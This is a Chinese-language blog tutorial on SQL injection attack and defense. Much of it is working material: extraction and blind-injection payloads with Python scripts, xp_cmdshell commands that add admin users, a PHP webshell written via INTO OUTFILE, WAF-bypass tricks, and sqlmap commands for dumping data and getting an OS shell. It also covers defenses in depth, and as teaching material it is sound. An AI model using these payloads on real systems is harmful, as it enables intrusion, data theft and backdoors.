前段时间帮朋友的公司做渗透测试,在一个看似防护严密的系统上发现了SQL注入漏洞。这让我意识到,即使在2025年,SQL注入依然是Web安全的头号威胁。今天就来聊聊SQL注入的完整攻防链路,从最基础的原理到高级的WAF绕过技巧。
为什么SQL注入至今仍是最危险的漏洞
翻看最近几年的安全事件通报,SQL注入漏洞导致的数据泄露事件依然占据榜首。2024年某电商平台因SQL注入导致千万级用户数据泄露,某政务系统因注入漏洞被植入后门。这些都不是新闻,而是一直在发生的现实。
SQL注入的危险之处在于:
- 攻击门槛低,网上有大量现成工具和教程
- 危害极大,可以直接读取、修改、删除数据库内容
- 利用链长,可以从注入点延伸到文件读写、命令执行
- 隐蔽性强,很多注入点隐藏在复杂业务逻辑中
从零开始:理解SQL注入的本质
最近在给团队做培训时,我发现很多开发同学对SQL注入的理解还停留在 ' or 1=1--
这种教科书式的例子。实际上,SQL注入的核心是代码与数据的边界混淆。
举个最简单的例子,一个用户搜索功能:
SELECT * FROM products WHERE name LIKE '%$keyword%'
当用户输入 iPhone
时,查询正常执行。但如果输入 %' UNION SELECT username,password FROM users--
,查询就变成了:
SELECT * FROM products WHERE name LIKE '%%' UNION SELECT username,password FROM users--%'
数据库会先执行正常查询,然后执行 UNION 拼接的恶意查询,返回用户表的所有账号密码。
这就是SQL注入的本质:用户输入被当作SQL代码执行,而不是纯粹的数据。
注入类型详解:不只是UNION查询
1. 联合查询注入(UNION-based)
这是最直观也是教程中最常见的注入方式。核心思路是利用 UNION 操作符合并查询结果。
实战案例:某企业内部管理系统的用户查询功能
原始请求:/user.php?id=1
正常返回:显示ID为1的用户信息
注入测试:/user.php?id=1' ORDER BY 5--
返回:数据库报错(说明列数少于5)
注入测试:/user.php?id=1' ORDER BY 3--
返回:正常(说明查询结果有3列)
构造payload:/user.php?id=-1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--
返回:数据库中所有表名
进一步提取:/user.php?id=-1' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='admin'--
返回:admin表的所有字段名
最终获取数据:/user.php?id=-1' UNION SELECT 1,concat(username,':',password),3 FROM admin--
返回:管理员账号密码
关键点:
- 使用 ORDER BY 判断列数
- 前面查询ID设为-1让原查询无结果,突出UNION结果
- 利用 group_concat 将多行结果合并为一行
- information_schema 是MySQL的系统库,存储了数据库结构信息
2. 报错注入(Error-based)
当页面不显示查询结果,但会显示数据库错误信息时,可以利用特定函数触发报错,将数据包含在错误信息中。
MySQL常用报错函数:
-- extractvalue报错
' AND extractvalue(1,concat(0x7e,(SELECT user()),0x7e))--
-- updatexml报错
' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--
-- floor报错
' AND (SELECT 1 FROM (SELECT count(*),concat((SELECT database()),floor(rand()*2))x FROM information_schema.tables GROUP BY x)a)--
实战中的坑:
- 报错注入有长度限制(通常32字符),需要配合 substr 函数分段提取
- 有些WAF会拦截 concat、0x7e 等关键字,需要编码绕过
- 某些数据库配置会关闭错误显示,这时报错注入失效
3. 布尔盲注(Boolean-based Blind)
页面不显示查询结果,也不显示错误,只能通过页面响应的差异判断注入语句是否执行成功。
判断逻辑:
-- 测试注入点
/news.php?id=1' AND '1'='1 (页面正常)
/news.php?id=1' AND '1'='2 (页面异常)
-- 判断数据库名称长度
/news.php?id=1' AND length(database())>5-- (正常,说明数据库名大于5个字符)
/news.php?id=1' AND length(database())>10-- (异常,说明数据库名不大于10个字符)
-- 逐位猜解数据库名
/news.php?id=1' AND substr(database(),1,1)='t'-- (正常,第一位是t)
/news.php?id=1' AND substr(database(),2,1)='e'-- (正常,第二位是e)
效率问题:
布尔盲注需要大量请求,一个10字符的字符串理论上需要 10 * 95(可打印字符数)= 950 次请求。实际操作中:
- 先判断长度,减少猜测次数
- 使用二分法:
ascii(substr(database(),1,1))>100
快速定位 - 编写自动化脚本批量测试
4. 时间盲注(Time-based Blind)
比布尔盲注更隐蔽,通过页面响应时间判断。适用于页面无论如何都返回相同内容的场景。
MySQL延时函数:
-- sleep函数
' AND IF(length(database())>5,sleep(5),0)--
-- benchmark函数
' AND IF(substr(database(),1,1)='t',benchmark(5000000,md5('test')),0)--
实战经验:
去年遇到一个API接口,无论输入什么都返回 {"status":"success"}
,只能用时间盲注。写了个Python脚本,利用多线程加速:
import requests
import time
def check_char(pos, char):
url = f"http://target.com/api/search"
payload = f"' AND IF(substr(database(),{pos},1)='{char}',sleep(3),0)--"
start = time.time()
requests.get(url, params={'q': payload}, timeout=5)
return (time.time() - start) > 2.5 # 考虑网络延迟
整个数据库名用了大概半小时才跑出来,但确实是唯一可行的方法。
5. 堆叠查询注入(Stacked Queries)
在支持多语句执行的数据库中(如SQL Server、PostgreSQL),可以用分号分隔执行多条SQL语句。
-- 创建新管理员
'; INSERT INTO admin(username,password) VALUES('hacker','123456')--
-- 删除日志
'; DELETE FROM logs WHERE 1=1--
-- 修改数据
'; UPDATE users SET role='admin' WHERE username='test'--
危险性:
堆叠查询的危害远超数据读取,可以直接修改数据、执行系统命令(xp_cmdshell)、创建后门。好在MySQL的mysqli和PDO默认不支持堆叠查询,但其他数据库要特别注意。
不同数据库的注入差异
在实战中,不同数据库的注入手法差异很大。以前做项目时踩过不少坑,这里总结一些关键区别:
MySQL注入
优势:
- 有 information_schema 可以轻松获取结构信息
- 函数丰富,绕过方法多
- 支持 UNION 查询和多种报错注入
特色技巧:
-- 读取文件
' UNION SELECT 1,load_file('/etc/passwd'),3--
-- 写入文件(需要secure_file_priv配置允许)
' UNION SELECT 1,'<?php @eval($_POST[cmd]);?>',3 INTO OUTFILE '/var/www/html/shell.php'--
-- 绕过空格过滤
'/**/UNION/**/SELECT/**/1,2,3--
'%0aUNION%0aSELECT%0a1,2,3--
SQL Server注入
特色:
- 支持堆叠查询,危害更大
- 可以通过 xp_cmdshell 执行系统命令
- 有丰富的系统存储过程可利用
实战案例:
-- 启用xp_cmdshell
'; EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE--
-- 执行系统命令
'; EXEC xp_cmdshell 'whoami'--
-- 添加管理员用户
'; EXEC xp_cmdshell 'net user hacker Password123! /add'--
'; EXEC xp_cmdshell 'net localgroup administrators hacker /add'--
去年遇到一个SQL Server注入,直接通过 xp_cmdshell 下载了远程木马,拿到了服务器权限。当然这是在授权测试环境下,实际攻击是违法的。
PostgreSQL注入
特点:
- 功能强大但语法独特
- 支持数组、JSON等复杂数据类型
- 有 COPY 命令可以读写文件
常用payload:
-- 查询当前用户
' UNION SELECT null,current_user,null--
-- 查询所有表
' UNION SELECT null,tablename,null FROM pg_tables WHERE schemaname='public'--
-- 读取文件
'; CREATE TABLE temp(data text);COPY temp FROM '/etc/passwd';SELECT * FROM temp--
Oracle注入
难点:
- 语法严格,每个SELECT必须有FROM
- 使用 dual 虚拟表
- 字符串拼接用
||
而不是+
-- 基础查询
' UNION SELECT null,user,null FROM dual--
-- 查询表名
' UNION SELECT null,table_name,null FROM all_tables--
-- 查询列名
' UNION SELECT null,column_name,null FROM all_tab_columns WHERE table_name='USERS'--
WAF绕过技巧:实战经验总结
这部分是整篇文章的重点。现在大部分网站都部署了WAF(Web应用防火墙),简单的注入payload会被直接拦截。以下是我这几年总结的绕过技巧。
1. 大小写混淆
最简单但有时有效的方法:
原始:' UNION SELECT
绕过:' UnIoN SeLeCt
绕过:' uNiOn sElEcT
有些WAF的规则是区分大小写的,简单的大小写变换就能绕过。虽然现在这种低级WAF不多了,但偶尔还能遇到。
2. 编码绕过
URL编码:
原始:' UNION SELECT
一次编码:%27%20UNION%20SELECT
二次编码:%2527%2520UNION%2520SELECT
十六进制编码(MySQL):
原始:' UNION SELECT 1,'admin',3--
编码:' UNION SELECT 1,0x61646d696e,3--
Unicode编码:
%u0027 = '
%u0055NION = UNION
3. 注释符混淆
MySQL支持多种注释符,可以用来绕过空格、关键字检测:
-- 内联注释
'/**/UNION/**/SELECT/**/1,2,3--
-- 版本注释(只在特定版本执行)
'/*!50000UNION*//*!50000SELECT*/1,2,3--
-- 多行注释嵌套
'/*! UNION */ /*! SELECT */ 1,2,3--
实战案例:
某次测试中,WAF拦截了所有包含 UNION SELECT
的请求。使用内联注释 /**/
替代空格后成功绕过:
原始payload(被拦截):
' UNION SELECT 1,2,3--
绕过payload(成功):
'/**/UNION/**/SELECT/**/1,2,3--
4. 等价替换
空格替换:
%20 (空格)
%09 (Tab)
%0a (换行)
%0b (垂直Tab)
%0c (换页)
%0d (回车)
%a0 (不间断空格)
+ (加号,在某些场景下)
/**/ (注释)
() (括号,在某些位置)
关键字替换:
AND => &&
OR => ||
= => LIKE / REGEXP / RLIKE
> => GREATEST
SUBSTR => MID / SUBSTRING
ASCII => ORD
BENCHMARK => SLEEP
实战技巧:
去年测试一个系统,WAF拦截了 AND
、OR
关键字,但 &&
、||
可以通过:
被拦截:' AND 1=1--
绕过:' && 1=1--
被拦截:' OR 1=1--
绕过:' || 1=1--
5. 缓冲区溢出绕过
有些WAF对请求长度有限制,超长payload可能导致WAF解析失败而放行:
' UNION SELECT 1,2,3[...大量垃圾字符...]--
在实际测试中,我会在关键payload前后添加大量无害字符:
'/*aaaaaaaaaa...重复几千个a...*/UNION/*bbbbbb...*/SELECT/*cccccc...*/1,2,3--
有时候WAF的处理缓冲区只有几KB,超出后直接放行。不过这个方法成功率不高,主要是试试运气。
6. 分块传输绕过
在HTTP协议层面做文章。如果WAF在应用层检测,但服务器支持chunked编码,可以尝试分块传输:
POST /search.php HTTP/1.1
Transfer-Encoding: chunked
5
' UNI
5
ON SE
6
LECT 1
每个chunk都是合法的,但拼接后就是完整的注入语句。这需要专门的工具实现,手工构造比较麻烦。
7. 参数污染(HPP)
某些WAF只检查第一个同名参数,可以尝试传递多个同名参数:
原始:/search.php?id=1' UNION SELECT 1,2,3--
绕过:/search.php?id=1&id=' UNION SELECT 1,2,3--
不同的服务器对多个同名参数的处理不同:
- PHP/Apache:取最后一个
- ASP/IIS:用逗号拼接所有值
- JSP/Tomcat:取第一个
如果WAF和后端服务器处理不一致,就有绕过机会。
8. JSON注入
现在很多API使用JSON格式传参,有些WAF对JSON格式的检测不够严格:
原始:
{"username":"admin","password":"123456"}
注入:
{"username":"admin' UNION SELECT 1,2,3--","password":"123456"}
去年遇到一个案例,WAF拦截了URL参数中的SQL关键字,但JSON参数中的同样关键字却能通过。原因是WAF厂商只针对传统表单做了规则,忽略了JSON格式。
9. Tamper脚本
SQLMap自带了大量Tamper脚本,可以自动化进行各种变换:
# 空格替换为注释
sqlmap -u "http://target.com/page.php?id=1" --tamper=space2comment
# 使用随机大小写
sqlmap -u "http://target.com/page.php?id=1" --tamper=randomcase
# 多种混淆
sqlmap -u "http://target.com/page.php?id=1" --tamper=space2comment,between,randomcase
常用的Tamper组合:
# 针对MySQL
--tamper=space2comment,between,versionedkeywords
# 针对MSSQL
--tamper=space2mssqlblank,charencode
# 通用混淆
--tamper=randomcase,space2comment,between,charencode
也可以自己写Tamper脚本。我写过一个针对特定WAF的脚本,把所有空格替换为 /**/
,把 UNION
替换为 /*!50000UNION*/
,成功率提升了不少。
防御方案:开发者必读
讲了这么多攻击方法,作为安全从业者,更重要的是知道如何防御。
1. 参数化查询(最重要!)
这是防御SQL注入最有效、最根本的方法。无论如何强调都不为过。
错误示范:
// PHP
$sql = "SELECT * FROM users WHERE id = " . $_GET['id'];
正确做法:
// PHP PDO
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET['id']]);
// Java PreparedStatement
String sql = "SELECT * FROM users WHERE id = ?";
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setInt(1, userId);
// Python
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
参数化查询的原理是将SQL语句的结构和数据分离。数据库会先编译SQL语句结构,用户输入只作为参数值传递,永远不会被当作SQL代码执行。
2. ORM框架的正确使用
使用ORM(对象关系映射)框架可以大大降低SQL注入风险,但要注意不要拼接原生SQL。
Django(安全):
User.objects.filter(id=user_id) # 安全
User.objects.raw("SELECT * FROM users WHERE id = %s", [user_id]) # 安全
Django(危险):
User.objects.raw("SELECT * FROM users WHERE id = " + user_id) # 危险!
Hibernate(安全):
session.createQuery("FROM User WHERE id = :id")
.setParameter("id", userId)
.list();
去年代码审计时发现,很多开发为了写复杂查询,在ORM框架里直接拼接SQL字符串,完全失去了ORM的保护作用。
3. 输入验证
虽然输入验证不能作为唯一防御手段,但仍然是重要的防御层。
白名单验证:
// 数字ID验证
if (!ctype_digit($_GET['id'])) {
die('Invalid ID');
}
// 枚举值验证
$allowed_sort = ['name', 'date', 'price'];
if (!in_array($_GET['sort'], $allowed_sort)) {
die('Invalid sort field');
}
类型强制:
// 强制转换为整数
$id = (int)$_GET['id'];
// 使用filter函数
$id = filter_input(INPUT_GET, 'id', FILTER_VALIDATE_INT);
4. 最小权限原则
数据库账号应该严格限制权限:
- Web应用使用的数据库账号不应该有DROP、CREATE、ALTER等DDL权限
- 不同模块使用不同的数据库账号
- 只读操作使用只读账号
- 禁止使用root或sa等高权限账号
MySQL权限配置示例:
-- 创建专用账号
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'strong_password';
-- 只授予必要的权限
GRANT SELECT, INSERT, UPDATE ON webapp_db.* TO 'webapp'@'localhost';
-- 撤销文件操作权限
REVOKE FILE ON *.* FROM 'webapp'@'localhost';
去年帮一家公司做安全审计,发现他们的Web应用直接用root账号连数据库。我演示了一个注入漏洞,直接通过 INTO OUTFILE
写入WebShell。如果用的是受限账号,这个攻击链就会中断。
5. WAF部署
WAF不能替代安全编码,但可以作为纵深防御的一层:
开源WAF:
- ModSecurity:功能强大,规则丰富
- Naxsi(for Nginx):轻量级,适合Nginx环境
商业WAF:
- 阿里云WAF
- 腾讯云WAF
- CloudFlare WAF
WAF配置建议:
- 启用SQL注入规则集
- 设置合理的拦截阈值(避免误报)
- 定期更新规则库
- 监控拦截日志,及时发现攻击
需要注意的是,前面讲了这么多绕过技巧,说明WAF不是万能的。WAF应该作为辅助防护手段,而不是唯一防线。
6. 安全审计与监控
建立持续的安全监控机制:
代码审计:
- 使用静态代码分析工具(如SonarQube、Fortify)
- 人工审计关键代码
- Code Review强制检查SQL拼接
运行时监控:
- 监控异常SQL语句(包含UNION、注释符、information_schema等)
- 监控失败的SQL执行(大量报错可能是注入攻击)
- 监控慢查询(时间盲注会产生延时)
日志分析:
可疑特征:
- URL参数包含单引号、双引号
- 包含SQL关键字:UNION, SELECT, INSERT, UPDATE, DELETE
- 包含注释符:--, /*, #
- 包含数据库函数:concat, group_concat, load_file
- 异常长的参数值
我写过一个简单的日志分析脚本,每小时扫描访问日志,提取包含SQL关键字的请求,发送告警邮件。这个脚本帮助我们及时发现了多次攻击尝试。
自动化工具:SQLMap实战
最后聊聊SQLMap,这是SQL注入领域最强大的自动化工具。很多人知道SQLMap,但不一定用得好。
基础使用
最简单的测试:
sqlmap -u "http://target.com/page.php?id=1"
POST请求:
sqlmap -u "http://target.com/login.php" --data="username=admin&password=123"
从Burp导入请求:
# 在Burp中右键请求 -> Copy to file -> 保存为request.txt
sqlmap -r request.txt
这是最实用的方法。在浏览器中正常操作,Burp拦截请求,导出给SQLMap分析。这样可以保持完整的Cookie、Header等信息。
进阶技巧
指定注入点:
# 使用*标记注入点
sqlmap -u "http://target.com/page.php?id=1*&type=news"
指定注入技术:
# 只测试UNION查询
sqlmap -u "http://target.com/page.php?id=1" --technique=U
# 测试时间盲注和布尔盲注
sqlmap -u "http://target.com/page.php?id=1" --technique=T,B
技术类型:
- B: Boolean-based blind(布尔盲注)
- E: Error-based(报错注入)
- U: Union query-based(联合查询)
- S: Stacked queries(堆叠查询)
- T: Time-based blind(时间盲注)
数据提取:
# 列出所有数据库
sqlmap -u "http://target.com/page.php?id=1" --dbs
# 列出指定数据库的表
sqlmap -u "http://target.com/page.php?id=1" -D webapp_db --tables
# 列出表的字段
sqlmap -u "http://target.com/page.php?id=1" -D webapp_db -T users --columns
# 导出数据
sqlmap -u "http://target.com/page.php?id=1" -D webapp_db -T users --dump
# 只导出特定字段
sqlmap -u "http://target.com/page.php?id=1" -D webapp_db -T users -C username,password --dump
文件操作:
# 读取文件
sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd"
# 写入文件(上传shell)
sqlmap -u "http://target.com/page.php?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"
系统命令执行:
# 获取OS Shell(需要xp_cmdshell或其他命令执行方式)
sqlmap -u "http://target.com/page.php?id=1" --os-shell
# 获取SQL Shell
sqlmap -u "http://target.com/page.php?id=1" --sql-shell
绕过WAF的参数
# 使用随机User-Agent
sqlmap -u "http://target.com/page.php?id=1" --random-agent
# 降低测试速度(避免触发频率限制)
sqlmap -u "http://target.com/page.php?id=1" --delay=2
# 使用Tamper脚本
sqlmap -u "http://target.com/page.php?id=1" --tamper=space2comment
# 指定风险等级和测试级别
sqlmap -u "http://target.com/page.php?id=1" --level=5 --risk=3
level和risk的含义:
- level(1-5):测试深度,越高测试越多的payload
- risk(1-3):风险等级,3会测试UPDATE/DELETE等危险操作
实战案例:
去年测试一个有WAF保护的网站,常规SQLMap测试全部被拦截。最后用了这个组合成功绕过:
sqlmap -u "http://target.com/api/search" \
--data='{"keyword":"test"}' \
--headers="Content-Type: application/json" \
--random-agent \
--tamper=space2comment,between \
--delay=1 \
--level=3 \
--technique=T \
--batch
关键点:
- JSON格式传参绕过部分WAF规则
- 使用时间盲注(不产生明显异常)
- 添加延时避免触发频率限制
- Tamper脚本进行混淆
整个过程跑了2个多小时,但最终成功提取出数据库名。
SQLMap的局限性
虽然SQLMap很强大,但它不是万能的:
无法检测的场景:
- 需要复杂认证流程的系统
- 动态Token防护(每次请求Token都变化)
- 业务逻辑注入(需要理解业务逻辑才能构造payload)
- 某些自定义协议或加密传输
误报问题:
有时SQLMap会报告存在注入,但实际测试发现是误报。通常发生在:
- 服务器响应不稳定,导致时间盲注判断错误
- WAF拦截产生的特定响应被误判为注入成功
- 某些动态页面内容随机变化
建议:
- SQLMap适合快速批量检测,不适合精细化利用
- 对于关键系统,建议手工验证SQLMap的结果
- 学会看SQLMap的详细输出(-v 3参数),理解它的检测逻辑
- 结合Burp、手工测试等多种方式综合判断
真实案例分析
最后分享几个我经历过的真实案例(已脱敏处理)。
案例1:二次注入绕过所有防护
场景:某社交平台的用户资料修改功能
第一次测试时,所有输入点都做了严格过滤,单引号、SQL关键字全部被拦截或转义。看起来很安全。
但我注意到一个细节:用户注册时的昵称可以包含单引号(可能是为了支持 O'Brien 这种姓名)。于是我注册了一个昵称为 admin'--
的账号。
然后在另一个功能点(管理员查看用户列表)触发了注入。因为管理员查询用户时,直接将数据库中的昵称拼接到SQL语句中:
SELECT * FROM logs WHERE username = 'admin'--'
这就是二次注入:
- 第一次输入时,恶意数据被安全存储到数据库
- 第二次查询时,从数据库取出的数据被当作可信数据,直接拼接到SQL中
- 绕过了所有输入验证和过滤
教训:
- 不要假设数据库中的数据是安全的
- 即使是从数据库读取的数据,也要当作不可信输入处理
- 所有拼接到SQL中的数据都必须参数化,无论来源
案例2:宽字节注入
场景:某电商网站使用GBK编码
网站对用户输入做了 addslashes()
处理,单引号前会加反斜杠转义:
输入:'
转义后:\'
看起来很安全,但如果数据库使用GBK编码,可以利用宽字节注入绕过。
攻击过程:
输入:%df'
处理后:%df\'
GBK解析:%df%5c = 運(一个汉字),后面的单引号不在转义
实际效果:運'(单引号逃逸出来了)
完整payload:
%df' UNION SELECT 1,2,3--
防御方法:
- 使用
mysql_real_escape_string()
而不是addslashes()
- 设置数据库连接字符集:
SET NAMES 'gbk'
- 更好的做法:使用参数化查询
这个案例让我意识到,字符编码问题可能带来意想不到的安全风险。
案例3:布尔盲注的耐心战
场景:某API接口,无论输入什么都返回固定JSON
{"code":200,"msg":"success","data":[]}
没有报错信息,没有数据显示,看起来无从下手。但我注意到,当SQL语句出错时,返回的data字段是空的;正常时会返回数据。
于是用布尔盲注逐位猜解:
import requests
import string
url = "http://api.target.com/search"
result = ""
for pos in range(1, 20): # 假设数据库名不超过20字符
for char in string.ascii_lowercase + string.digits + '_':
payload = f"' AND substr(database(),{pos},1)='{char}'--"
response = requests.get(url, params={'q': payload})
if '"data":[]' not in response.text: # 有数据返回说明条件为真
result += char
print(f"Position {pos}: {char} -> Current: {result}")
break
else:
break # 没有字符匹配,说明到达末尾
print(f"Database name: {result}")
整个过程很枯燥,跑了近1小时,但最终成功获取了数据库名 shop_system_v2
。
然后继续用同样方法提取表名、字段名、数据。整个渗透测试花了大半天,但证明了即使看起来密不透风的系统,只要存在注入点,就能突破。
感悟:
- 安全测试需要耐心和毅力
- 自动化工具很重要,但手工分析同样关键
- 细节决定成败,要善于观察响应的微小差异
防御检查清单
最后给开发者和安全人员提供一个实用的检查清单:
代码层面:
- 所有SQL查询都使用参数化查询或预编译语句
- 没有任何地方直接拼接用户输入到SQL语句
- ORM框架正确使用,没有拼接原生SQL
- 输入验证使用白名单而非黑名单
- 对数字类型参数进行强制类型转换
- 敏感操作有二次验证(密码、验证码)
数据库层面:
- Web应用使用受限权限的数据库账号
- 禁止使用root/sa等高权限账号
- 不同模块使用不同数据库账号(权限隔离)
- 禁用不必要的危险功能(如xp_cmdshell、LOAD_FILE)
- 关闭数据库错误信息显示(生产环境)
架构层面:
- 部署WAF并定期更新规则
- 配置日志监控和告警机制
- 定期进行安全审计和渗透测试
- 建立安全事件响应流程
- 代码上线前进行安全审查
开发流程:
- 将安全培训纳入新员工入职流程
- Code Review时重点检查SQL拼接
- 使用SAST工具自动检测代码漏洞
- CI/CD流程集成安全测试
- 维护安全编码规范文档
写在最后
SQL注入虽然是个"老"漏洞,但至今仍然广泛存在。根据我的经验,大约30%的Web应用都存在不同程度的SQL注入风险。
作为攻击者(或渗透测试人员),需要掌握各种注入技巧和绕过方法。但作为安全从业者,我更希望大家关注防御。毕竟,预防永远比事后补救更重要。
核心原则只有一条:永远不要相信用户输入,所有外部数据都必须经过验证和处理。
参数化查询不是什么高深技术,但它能防御99%的SQL注入攻击。可惜很多开发者为了省事,仍在用字符串拼接。这就像明知道安全带能救命,却嫌麻烦不系一样。
安全不是某个人的责任,而是整个团队的文化。从产品经理到开发人员,从测试工程师到运维人员,每个人都应该有基本的安全意识。
最后提醒:
- 本文内容仅供学习交流,请勿用于非法用途
- 未经授权的渗透测试是违法行为
- 对自己的系统进行安全测试前,请先备份数据
希望这篇文章能帮助大家更好地理解SQL注入的攻防技术。如果有问题或想交流的,欢迎在评论区留言。
推荐阅读:
- OWASP SQL Injection Prevention Cheat Sheet
- SQLMap官方文档
- 《Web安全深度剖析》
- 《代码审计:企业级Web代码安全架构》
相关工具:
- SQLMap:https://sqlmap.org/
- Burp Suite:https://portswigger.net/burp
- DVWA(练习环境):https://github.com/digininja/DVWA
- SQLi-Labs(注入靶场):https://github.com/Audi-1/sqli-labs
Q.E.D.